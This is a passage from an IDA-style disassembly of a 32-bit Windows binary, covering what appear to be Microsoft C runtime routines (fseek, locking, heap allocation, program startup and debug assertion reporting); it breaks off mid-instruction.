loc_41B5D2: ; CODE XREF: sub_41B4D0+F5j mov [ebp+var_14], 0FFh loc_41B5D9: ; CODE XREF: sub_41B4D0+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_4249D0 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41B5FC: ; CODE XREF: sub_41B4D0+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_41B610 ; --------------------------------------------------------------------------- loc_41B604: ; CODE XREF: sub_41B4D0+E2j cmp [ebp+arg_8], 0 jz short loc_41B610 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_41B610: ; CODE XREF: sub_41B4D0+132j ; sub_41B4D0+138j cmp [ebp+var_8], 0 jz loc_41B6BA mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_41B6BA cmp [ebp+arg_C], 0 jz short loc_41B66F mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_41B645 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B645: ; CODE XREF: sub_41B4D0+168j mov [ebp+var_18], 0FFh loc_41B64C: ; CODE XREF: sub_41B4D0+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_4249D0 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_41B66F: ; CODE XREF: sub_41B4D0+15Aj cmp [ebp+arg_10], 0 jz short loc_41B6B8 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_41B68E mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_41B695 ; --------------------------------------------------------------------------- loc_41B68E: ; CODE XREF: sub_41B4D0+1B1j mov [ebp+var_1C], 0FFh loc_41B695: ; CODE XREF: sub_41B4D0+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_4249D0 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_41B6B8: ; CODE XREF: sub_41B4D0+1A3j jmp short loc_41B70E ; --------------------------------------------------------------------------- loc_41B6BA: ; CODE XREF: sub_41B4D0+144j ; sub_41B4D0+150j cmp [ebp+arg_C], 0 jz short loc_41B702 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41B6D8 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B6D8: ; CODE XREF: sub_41B4D0+1FBj mov [ebp+var_20], 0FFh loc_41B6DF: ; CODE XREF: sub_41B4D0+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_4249D0 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41B702: ; CODE XREF: sub_41B4D0+1EEj cmp [ebp+arg_10], 0 jz short loc_41B70E mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_41B70E: ; CODE XREF: sub_41B4D0:loc_41B6B8j ; sub_41B4D0+236j mov esp, ebp pop ebp retn sub_41B4D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B720 proc near ; CODE XREF: sub_40C50A+2BE0p ; .text:0041B777p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4943C0 test eax, eax jnz short loc_41B73D call ds:dword_4942F0 mov [ebp+var_4], eax jmp short loc_41B744 ; --------------------------------------------------------------------------- loc_41B73D: ; CODE XREF: sub_41B720+10j mov [ebp+var_4], 0 loc_41B744: ; CODE XREF: sub_41B720+1Bj cmp [ebp+var_4], 0 jz short loc_41B75B mov ecx, [ebp+var_4] push ecx call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41B75D ; --------------------------------------------------------------------------- loc_41B75B: ; CODE XREF: sub_41B720+28j xor eax, eax loc_41B75D: ; CODE XREF: sub_41B720+39j mov esp, ebp pop ebp retn sub_41B720 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_41B720 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B790 proc near ; CODE XREF: sub_40C50A+84Fp ; sub_415CF4+2ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41B7C1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41B7BF jz short loc_41B7C1 dec ecx dec ecx loc_41B7BF: ; CODE XREF: sub_41B790+29j not ecx loc_41B7C1: ; CODE XREF: sub_41B790+9j ; sub_41B790+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41B790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7D0 proc near ; CODE XREF: sub_415CF4+2E2p ; sub_415CF4+435p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_41B7D7: ; CODE XREF: sub_41B7D0+2Fj cmp [ebp+arg_0], 0 jnz short loc_41B7FB push offset aStreamNull ; "stream != NULL" push 0 push 65h push offset aFseek_c ; "fseek.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41B7FB int 3 ; Trap to Debugger loc_41B7FB: ; CODE XREF: sub_41B7D0+Bj ; sub_41B7D0+28j xor eax, eax test eax, eax jnz short loc_41B7D7 mov ecx, [ebp+arg_0] push ecx call sub_421230 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B840 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_4212A0 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B7D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B840 proc near ; CODE XREF: sub_41B7D0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_41B847: ; CODE XREF: sub_41B840+32j cmp [ebp+arg_0], 0 jnz short loc_41B86E push offset aStrNull ; "str != NULL" push 0 push 92h push offset aFseek_c ; "fseek.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41B86E int 3 ; Trap to Debugger loc_41B86E: ; CODE XREF: sub_41B840+Bj ; sub_41B840+2Bj xor eax, eax test eax, eax jnz short loc_41B847 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41B89B cmp [ebp+arg_8], 0 jz short loc_41B8AE cmp [ebp+arg_8], 1 jz short loc_41B8AE cmp [ebp+arg_8], 2 jz short loc_41B8AE loc_41B89B: ; CODE XREF: sub_41B840+47j call sub_422F20 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_41B960 ; --------------------------------------------------------------------------- loc_41B8AE: ; CODE XREF: sub_41B840+4Dj ; sub_41B840+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_41B8DE mov ecx, [ebp+var_4] push ecx call sub_424CC0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_41B8DE: ; CODE XREF: sub_41B840+81j mov eax, [ebp+var_4] push eax call sub_421580 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41B90B mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_41B93F ; --------------------------------------------------------------------------- loc_41B90B: ; CODE XREF: sub_41B840+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_41B93F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_41B93F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_41B93F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_41B93F: ; CODE XREF: sub_41B840+C9j ; sub_41B840+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_424B00 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_41B960: ; CODE XREF: sub_41B840+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B970 proc near ; CODE XREF: sub_495000j var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_432C50 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFA4h push ebx push esi push edi mov [ebp+var_18], esp call ds:dword_49442C mov dword_492094, eax mov eax, dword_492094 shr eax, 8 and eax, 0FFh mov dword_4920A0, eax mov ecx, dword_492094 and ecx, 0FFh mov dword_49209C, ecx mov edx, dword_49209C shl edx, 8 add edx, dword_4920A0 mov dword_492098, edx mov eax, dword_492094 shr eax, 10h and eax, 0FFFFh mov dword_492094, eax push 1 call sub_41C9C0 add esp, 4 test eax, eax jnz short loc_41BA04 push 1Ch call sub_41BB10 add esp, 4 loc_41BA04: ; CODE XREF: sub_41B970+88j call sub_41F930 test eax, eax jnz short loc_41BA17 push 10h call sub_41BB10 add esp, 4 loc_41BA17: ; CODE XREF: sub_41B970+9Bj mov [ebp+var_4], 0 call sub_425AC0 call ds:dword_494428 mov dword_493784, eax call sub_4258A0 mov dword_4920D8, eax call sub_425390 call sub_425240 call sub_41B2D0 mov [ebp+var_30], 0 lea ecx, [ebp+var_5C] push ecx call ds:dword_494424 call sub_425180 mov [ebp+var_64], eax mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_41BA77 mov eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_6C], eax jmp short loc_41BA7E ; --------------------------------------------------------------------------- loc_41BA77: ; CODE XREF: sub_41B970+F8j mov [ebp+var_6C], 0Ah loc_41BA7E: ; CODE XREF: sub_41B970+105j mov ecx, [ebp+var_6C] push ecx mov edx, [ebp+var_64] push edx push 0 push 0 call ds:dword_494380 push eax call sub_40BBCB mov [ebp+var_60], eax mov eax, [ebp+var_60] push eax call sub_41B310 mov ecx, [ebp+var_14] mov edx, [ecx] mov eax, [edx] mov [ebp+var_68], eax mov ecx, [ebp+var_14] push ecx mov edx, [ebp+var_68] push edx call sub_424F60 add esp, 8 retn sub_41B970 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_41B330 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAE0 proc near ; CODE XREF: sub_41BC90+32p ; sub_41FA10+7Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4920E0, 1 jnz short loc_41BAF1 call sub_426060 loc_41BAF1: ; CODE XREF: sub_41BAE0+Aj mov eax, [ebp+arg_0] push eax call sub_4260B0 add esp, 4 push 0FFh call off_442C50 add esp, 4 pop ebp retn sub_41BAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB10 proc near ; CODE XREF: sub_41B970+8Cp ; sub_41B970+9Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4920E0, 1 jnz short loc_41BB21 call sub_426060 loc_41BB21: ; CODE XREF: sub_41BB10+Aj mov eax, [ebp+arg_0] push eax call sub_4260B0 add esp, 4 push 0FFh call ds:dword_49432C pop ebp retn sub_41BB10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_41BC90 add esp, 4 mov eax, dword_4920E8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4920E8, ecx push 9 call sub_41BD30 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4920E8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_416A80+48p ; sub_41BD90+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4920E8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41BBA0 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_41BBA4 loc_41BBA0: ; CODE XREF: sub_41BB80+10j xor eax, eax jmp short loc_41BBA9 ; --------------------------------------------------------------------------- loc_41BBA4: ; CODE XREF: sub_41BB80+1Ej mov eax, 1 loc_41BBA9: ; CODE XREF: sub_41BB80+22j mov esp, ebp pop ebp retn sub_41BB80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBB0 proc near ; CODE XREF: sub_41F930+4p push ebp mov ebp, esp mov eax, off_442C9C push eax call ds:dword_494430 mov ecx, off_442C8C push ecx call ds:dword_494430 mov edx, off_442C7C push edx call ds:dword_494430 mov eax, off_442C5C push eax call ds:dword_494430 pop ebp retn sub_41BBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBF0 proc near ; CODE XREF: .text:0041F9C3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_41BC06 ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBF0:loc_41BC57j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41BC06: ; CODE XREF: sub_41BBF0+Bj cmp [ebp+var_4], 30h jge short loc_41BC59 mov ecx, [ebp+var_4] cmp dword_442C58[ecx*4], 0 jz short loc_41BC57 cmp [ebp+var_4], 11h jz short loc_41BC57 cmp [ebp+var_4], 0Dh jz short loc_41BC57 cmp [ebp+var_4], 9 jz short loc_41BC57 cmp [ebp+var_4], 1 jz short loc_41BC57 mov edx, [ebp+var_4] mov eax, dword_442C58[edx*4] push eax call ds:dword_494310 push 2 mov ecx, [ebp+var_4] mov edx, dword_442C58[ecx*4] push edx call sub_4174C0 add esp, 8 loc_41BC57: ; CODE XREF: sub_41BBF0+27j ; sub_41BBF0+2Dj ... jmp short loc_41BBFD ; --------------------------------------------------------------------------- loc_41BC59: ; CODE XREF: sub_41BBF0+1Aj mov eax, off_442C7C push eax call ds:dword_494310 mov ecx, off_442C8C push ecx call ds:dword_494310 mov edx, off_442C9C push edx call ds:dword_494310 mov eax, off_442C5C push eax call ds:dword_494310 mov esp, ebp pop ebp retn sub_41BBF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC90 proc near ; CODE XREF: sub_416A80+6p ; sub_416EC0+6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword_442C58[eax*4], 0 jnz short loc_41BD12 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_416A30 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41BCCA push 11h call sub_41BAE0 add esp, 4 loc_41BCCA: ; CODE XREF: sub_41BC90+2Ej push 11h call sub_41BC90 add esp, 4 mov ecx, [ebp+arg_0] cmp dword_442C58[ecx*4], 0 jnz short loc_41BCFA mov edx, [ebp+var_4] push edx call ds:dword_494430 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_442C58[eax*4], ecx jmp short loc_41BD08 ; --------------------------------------------------------------------------- loc_41BCFA: ; CODE XREF: sub_41BC90+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_4174C0 add esp, 8 loc_41BD08: ; CODE XREF: sub_41BC90+68j push 11h call sub_41BD30 add esp, 4 loc_41BD12: ; CODE XREF: sub_41BC90+Fj mov eax, [ebp+arg_0] mov ecx, dword_442C58[eax*4] push ecx call ds:dword_494304 mov esp, ebp pop ebp retn sub_41BC90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD30 proc near ; CODE XREF: sub_416A80+2Bp ; sub_416EC0+31p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_442C58[eax*4] push ecx call ds:dword_494300 pop ebp retn sub_41BD30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call ds:dword_494434 push 0FFh call ds:dword_49432C pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD70 proc near ; CODE XREF: sub_41C6D0+10p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, dword_4920E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_41BD90 add esp, 8 pop ebp retn sub_41BD70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD90 proc near ; CODE XREF: sub_41BD70+Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_41BD9E xor eax, eax jmp short loc_41BDE3 ; --------------------------------------------------------------------------- loc_41BD9E: ; CODE XREF: sub_41BD90+8j ; sub_41BD90:loc_41BDE1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41BDB5 mov eax, [ebp+arg_0] push eax call sub_41BDF0 add esp, 4 mov [ebp+var_4], eax jmp short loc_41BDBC ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BD90+12j mov [ebp+var_4], 0 loc_41BDBC: ; CODE XREF: sub_41BD90+23j cmp [ebp+var_4], 0 jnz short loc_41BDC8 cmp [ebp+arg_4], 0 jnz short loc_41BDCD loc_41BDC8: ; CODE XREF: sub_41BD90+30j mov eax, [ebp+var_4] jmp short loc_41BDE3 ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD90+36j mov ecx, [ebp+arg_0] push ecx call sub_41BB80 add esp, 4 test eax, eax jnz short loc_41BDE1 xor eax, eax jmp short loc_41BDE3 ; --------------------------------------------------------------------------- loc_41BDE1: ; CODE XREF: sub_41BD90+4Bj jmp short loc_41BD9E ; --------------------------------------------------------------------------- loc_41BDE3: ; CODE XREF: sub_41BD90+Cj ; sub_41BD90+3Bj ... mov esp, ebp pop ebp retn sub_41BD90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDF0 proc near ; CODE XREF: sub_416B00+19Dp ; sub_41BD90+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_442D48 ja short loc_41BE2D push 9 call sub_41BC90 add esp, 4 mov ecx, [ebp+arg_0] push ecx call sub_41D1D0 add esp, 4 mov [ebp+var_4], eax push 9 call sub_41BD30 add esp, 4 cmp [ebp+var_4], 0 jz short loc_41BE2D mov eax, [ebp+var_4] jmp short loc_41BE59 ; --------------------------------------------------------------------------- loc_41BE2D: ; CODE XREF: sub_41BDF0+Dj ; sub_41BDF0+36j cmp [ebp+arg_0], 0 jnz short loc_41BE3A mov [ebp+arg_0], 1 loc_41BE3A: ; CODE XREF: sub_41BDF0+41j mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_49377C push ecx call ds:dword_494354 loc_41BE59: ; CODE XREF: sub_41BDF0+3Bj mov esp, ebp pop ebp retn sub_41BDF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE60 proc near ; CODE XREF: sub_416B00+79p ; sub_416F00+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_41BE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_41BF80+113p ; sub_41C310+33p push ebp mov ebp, esp call ds:dword_494438 pop ebp retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41BE90 cmp dword ptr [ebp+8], 3 jl short loc_41BE95 loc_41BE90: ; CODE XREF: .text:0041BE88j or eax, 0FFFFFFFFh jmp short loc_41BED3 ; --------------------------------------------------------------------------- loc_41BE95: ; CODE XREF: .text:0041BE8Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_41BEA7 mov eax, [ebp+8] mov eax, dword_442D20[eax*4] jmp short loc_41BED3 ; --------------------------------------------------------------------------- loc_41BEA7: ; CODE XREF: .text:0041BE99j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_41BEB6 or eax, 0FFFFFFFFh jmp short loc_41BED3 ; --------------------------------------------------------------------------- loc_41BEB6: ; CODE XREF: .text:0041BEAFj mov edx, [ebp+8] mov eax, dword_442D20[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov dword_442D20[ecx*4], edx mov eax, [ebp-4] loc_41BED3: ; CODE XREF: .text:0041BE93j ; .text:0041BEA5j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41BEF0 cmp dword ptr [ebp+8], 3 jl short loc_41BEF7 loc_41BEF0: ; CODE XREF: .text:0041BEE8j mov eax, 0FFFFFFFEh jmp short loc_41BF5A ; --------------------------------------------------------------------------- loc_41BEF7: ; CODE XREF: .text:0041BEEEj cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_41BF09 mov eax, [ebp+8] mov eax, dword_442D2C[eax*4] jmp short loc_41BF5A ; --------------------------------------------------------------------------- loc_41BF09: ; CODE XREF: .text:0041BEFBj mov ecx, [ebp+8] mov edx, dword_442D2C[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_41BF30 push 0FFFFFFF5h call ds:dword_49443C mov ecx, [ebp+8] mov dword_442D2C[ecx*4], eax jmp short loc_41BF57 ; --------------------------------------------------------------------------- loc_41BF30: ; CODE XREF: .text:0041BF1Aj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_41BF4A push 0FFFFFFF4h call ds:dword_49443C mov edx, [ebp+8] mov dword_442D2C[edx*4], eax jmp short loc_41BF57 ; --------------------------------------------------------------------------- loc_41BF4A: ; CODE XREF: .text:0041BF34j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov dword_442D2C[eax*4], ecx loc_41BF57: ; CODE XREF: .text:0041BF2Ej ; .text:0041BF48j mov eax, [ebp-4] loc_41BF5A: ; CODE XREF: .text:0041BEF5j ; .text:0041BF07j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_493780 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_493780, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF80 proc near ; CODE XREF: sub_416B00+38p ; sub_416B00+A1p ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_418D40 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_41BFEE cmp [ebp+arg_0], 3 jl short loc_41BFF6 loc_41BFEE: ; CODE XREF: sub_41BF80+66j or eax, 0FFFFFFFFh jmp loc_41C30B ; --------------------------------------------------------------------------- loc_41BFF6: ; CODE XREF: sub_41BF80+6Cj cmp [ebp+arg_0], 2 jnz loc_41C0A0 push offset dword_442D1C call ds:dword_494418 test eax, eax jle loc_41C0A0 cmp dword_492150, 0 jnz short loc_41C05E push offset aUser32_dll_0 ; "user32.dll" call ds:dword_49434C mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_41C056 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx call ds:dword_494348 mov dword_492150, eax cmp dword_492150, 0 jnz short loc_41C05E loc_41C056: ; CODE XREF: sub_41BF80+B4j or eax, 0FFFFFFFFh jmp loc_41C30B ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BF80+9Aj ; sub_41BF80+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call dword_492150 add esp, 10h lea edx, [ebp+var_2008] push edx call ds:dword_494440 push offset dword_442D1C call ds:dword_494414 call sub_41BE70 or eax, 0FFFFFFFFh jmp loc_41C30B ; --------------------------------------------------------------------------- loc_41C0A0: ; CODE XREF: sub_41BF80+7Aj ; sub_41BF80+8Dj cmp [ebp+arg_10], 0 jz short loc_41C0DD mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_4193F0 add esp, 10h test eax, eax jge short loc_41C0DD push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_419FA0 add esp, 8 loc_41C0DD: ; CODE XREF: sub_41BF80+124j ; sub_41BF80+147j cmp [ebp+arg_0], 2 jnz short loc_41C115 cmp [ebp+arg_10], 0 jz short loc_41C0F5 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_41C0FF ; --------------------------------------------------------------------------- loc_41C0F5: ; CODE XREF: sub_41BF80+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_41C0FF: ; CODE XREF: sub_41BF80+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_419FA0 add esp, 8 loc_41C115: ; CODE XREF: sub_41BF80+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_419FB0 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_41C16A mov edx, [ebp+arg_0] mov eax, dword_442D20[edx*4] and eax, 1 test eax, eax jz short loc_41C156 push offset asc_432C98 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_419FB0 add esp, 8 loc_41C156: ; CODE XREF: sub_41BF80+1C0j push offset asc_432C94 ; "\n" lea edx, [ebp+var_3008] push edx call sub_419FB0 add esp, 8 loc_41C16A: ; CODE XREF: sub_41BF80+1AFj cmp [ebp+arg_4], 0 jz short loc_41C1B2 lea 